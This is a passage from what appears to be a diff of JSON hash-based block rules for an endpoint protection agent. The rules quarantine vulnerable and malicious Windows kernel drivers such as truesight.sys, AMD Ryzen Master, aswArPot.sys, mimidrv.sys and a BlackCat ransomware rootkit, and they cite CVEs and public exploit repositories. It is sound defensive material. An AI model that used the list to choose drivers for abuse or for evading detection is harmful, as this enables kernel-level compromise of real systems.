+  "hl_testing_start_time": "2026-03-23T11:45:29.975506Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "45799bfaea64e065a9b0c97f9f10f42c830d26e55fdcb354e39179d0993e9c7d",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19167ee2-9e05-542d-8c61-3ca8a8fa470a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.809417Z",
+  "creation_date": "2026-03-23T11:45:31.809420Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.809428Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "25291720e0ee3eaa62c5aec72ec920e776e1255cc64a7010c6c62533e391fa40",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1918a1ed-2664-570e-8969-831b3df24d18",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.970176Z",
+  "creation_date": "2026-03-23T11:45:29.970177Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.970183Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "f2e97fb72237dbbd8981d13a056dd3544c41d802efd129e1ea7e3f655de661b8",
+  "comment": "Avast Vulnerable Driver (aka aswArPot.sys) [CVE-2022-26522, CVE-2022-26523] [https://www.mandiant.com/resources/blog/unc2596-cuba-ransomware] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "191bb992-58ad-5bde-9f2b-ff118d2c2f14",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.808838Z",
+  "creation_date": "2026-03-23T11:45:31.808842Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.808851Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "be14867535e637d30d5778b2a96b6e8d2631046ac34ac7c92fe9936d09c4e062",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "192674a3-134e-5844-a2d3-65f95cfaefb1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.830807Z",
+  "creation_date": "2026-03-23T11:45:30.830809Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.830814Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cbbe48826fae88adb74f5e7e77e1fbe192d9e0f05983d69565e54f9c846e9da3",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19365f62-ae05-5f88-a54c-9ea9c4e8940e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836630Z",
+  "creation_date": "2026-03-23T11:45:30.836633Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836638Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "08d844b1ef804e6f4ebe072ba9f57feba5a063b97f19625a4012bf83b2929ea0",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "195ed128-e7a2-5ce9-8199-ec3d788c8c19",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.153648Z",
+  "creation_date": "2026-03-23T11:45:31.153650Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.153656Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "896b21cb5583cc9b0e32c490bf352dc6ffc2416edec79aeab0616829a13ccaa5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19656c3f-d006-5dc2-ac09-d62816f75249",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.975130Z",
+  "creation_date": "2026-03-23T11:45:29.975133Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.975138Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9b1ac756e35f795dd91adbc841e78db23cb7165280f8d4a01df663128b66d194",
+  "comment": "Vulnerable AMD Ryzen Master Driver (aka AMDRyzenMasterDriver.sys) [CVE-2020-12928, CVE-2023-20564] [https://www.loldrivers.io/drivers/13973a71-412f-4a18-a2a6-476d3853f8de/, https://github.com/tijme/amd-ryzen-master-driver-v17-exploit, https://github.com/zeze-zeze/HITCON-2023-Demo-CVE-2023-20562] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "196b6108-fa27-5bd9-8a45-4add3b144e47",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146692Z",
+  "creation_date": "2026-03-23T11:45:32.146694Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146699Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d51d00127ddd4551fb1eafe14255715014944ad4c60eabb9e568c3ff98ff4a2e",
+  "comment": "Vulnerable Kernel Driver (aka 8492937_2_Driver.sys) [https://www.loldrivers.io/drivers/c95a796a-a8f6-4cfa-bc42-4936ecb59091/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19978ec1-6c20-5d2b-8a56-0e6291806ce2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.466937Z",
+  "creation_date": "2026-03-23T11:45:30.466940Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.466956Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b8d3914b796832a576ed0c977db439c8a5d6df5d0608088c39c786ff81bc2f11",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19a714e6-3b01-53cc-ae78-1c5482addd53",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.829708Z",
+  "creation_date": "2026-03-23T11:45:31.829711Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.829719Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "560dbf29eb838763cbabcf378cd8e9f12b7b674df8bfbe7a299f1203c1b3e349",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19b7adda-2c0f-5d0a-b70b-a908c47009e5",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487649Z",
+  "creation_date": "2026-03-23T11:45:31.487651Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487657Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "df95701164a0c5725ff99af1bbd0871083c7139a7683f0753eddfd584d84ba79",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19cbbf30-419d-5429-996b-d634f00387c8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141820Z",
+  "creation_date": "2026-03-23T11:45:31.141822Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141828Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "6fa56c310f9214532d074abe3c37b73c483c16dc8680d0e16d5144e49c7ced03",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19dbd962-119b-5630-8dc6-0985d81e6f9f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.473143Z",
+  "creation_date": "2026-03-23T11:45:31.473147Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.473156Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "b32096444234a6473f797834b61cec443aab2acbffacf0f7dac842e3c7c10825",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19e0fd82-c6d4-5cb2-ae3a-219f024b9428",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.603996Z",
+  "creation_date": "2026-03-23T11:45:29.603998Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.604003Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d27af8f0bed1e4f4aeb2b20da89d0ffa1b7b5f7f14148cdf09e6444a0aa5bb1b",
+  "comment": "Vulnerable Kernel Driver (aka BEDAISY.SYS) [https://www.loldrivers.io/drivers/db666d40-c9fa-4039-bfac-a5d7afd61b67/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19ecd793-8d73-58f3-ae33-27d476eca21b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.973965Z",
+  "creation_date": "2026-03-23T11:45:29.973967Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.973972Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c082514317bf80a2f5129d84a5a55e411a95e32d03a4df1274537704c80e41dd",
+  "comment": "Trend Micro Anti-Rootkit Common Module vulnerable driver (aka TmComm.sys) [CVE-2007-0856] [https://www.loldrivers.io/drivers/22aa985b-5fdb-4e38-9382-a496220c27ec/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19f077e2-2173-555e-8e13-960e42e56206",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.468376Z",
+  "creation_date": "2026-03-23T11:45:30.468380Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.468390Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "68ea8d1bfabf37920686a0814c0bf47cbc4527543716fd94c0d3f23382e15081",
+  "comment": "Malicious Kernel Driver (aka mimidrv.sys) [https://www.loldrivers.io/drivers/87752fb8-e9f6-4235-91e2-c4343677d817/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19f498f3-b9a7-55ee-bf3b-556a5d4ed3e1",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.984034Z",
+  "creation_date": "2026-03-23T11:45:29.984036Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.984042Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "7049f3c939efe76a5556c2a2c04386db51daf61d56b679f4868bb0983c996ebb",
+  "comment": "Vulnerable Kernel Driver (aka SysInfo.sys) [https://www.loldrivers.io/drivers/84ccb68d-ce34-4aa2-98d5-7f473c2e1b07/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "19fce74c-69ac-5bd6-8630-2633f7db63fd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.985467Z",
+  "creation_date": "2026-03-23T11:45:29.985469Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.985474Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "24395b622d4fd48864a50978ffd2b82fdded5189741a6deea9293cc075cd0c6b",
+  "comment": "Malicious BlackCat/ALPHV Ransomware Rootkit (aka dkrTK.sys) [https://www.trendmicro.com/en_us/research/23/e/blackcat-ransomware-deploys-new-signed-kernel-driver.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a08e9c2-aa2b-5a9f-b19b-932dbe08275a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.487992Z",
+  "creation_date": "2026-03-23T11:45:31.487994Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.487999Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "a7b66aa27c75ae2109da03c276bedce8a1c9d978929587f219d435068bc6fdc5",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a0928c2-bb7d-5d97-98aa-99427c11779e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.159439Z",
+  "creation_date": "2026-03-23T11:45:31.159441Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.159446Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "9fcf57a17d44a6583153261a9c43211ad1d65a1f5ebda12cb1856629e774bdb9",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a0b25fa-8131-54c0-b799-7c16ee00662f",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.492574Z",
+  "creation_date": "2026-03-23T11:45:31.492576Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.492581Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "14d3a333327078aa265028c992293ac58655d8376c3e5110519fbaa079b2fc36",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "1a0f9dbf-e318-5785-8cea-ce5820276cbd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.617167Z",
+  "creation_date": "2026-03-23T11:45:29.617169Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
